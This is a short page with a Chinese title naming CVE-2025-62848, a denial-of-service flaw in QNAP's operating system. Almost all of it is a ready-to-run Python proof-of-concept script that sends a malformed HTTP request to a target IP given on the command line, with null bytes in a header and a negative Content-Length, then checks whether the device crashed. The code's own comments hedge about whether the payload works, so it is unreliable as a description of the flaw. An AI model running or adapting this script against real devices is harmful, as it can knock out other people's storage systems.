CVE-2025-62848 QNAP操作系统NULL指针解引用拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-62848 PoC - QNAP NULL Pointer Dereference DoS Note: This PoC is for educational and authorized testing purposes only. """ import socket import sys import argparse def send_exploit(target_ip, target_port=80): """ Send crafted request to trigger NULL pointer dereference in QNAP systems. The vulnerability exists in how the system handles malformed network requests. """ # Construct malicious HTTP request payload = b"GET / HTTP/1.1\r\n" payload += b"Host: " + target_ip.encode() + b":80\r\n" # Malformed headers that may trigger NULL pointer dereference payload += b"X-Null-Pointer: \x00\x00\x00\r\n" payload += b"Content-Length: -1\r\n" payload += b"\r\n" try: print(f"[*] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Sending malicious payload...") sock.send(payload) # Wait for response try: response = sock.recv(1024) print(f"[*] Received response: {response[:100]}") except socket.timeout: print("[!] No response received - target may have crashed") sock.close() return True except Exception as e: print(f"[!] Error: {e}") return False def main(): parser = argparse.ArgumentParser(description='CVE-2025-62848 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', type=int, default=80, help='Target port') args = parser.parse_args() print("=" * 50) print("CVE-2025-62848 - QNAP NULL Pointer Dereference") print("=" * 50) send_exploit(args.target, args.port) if __name__ == "__main__": main()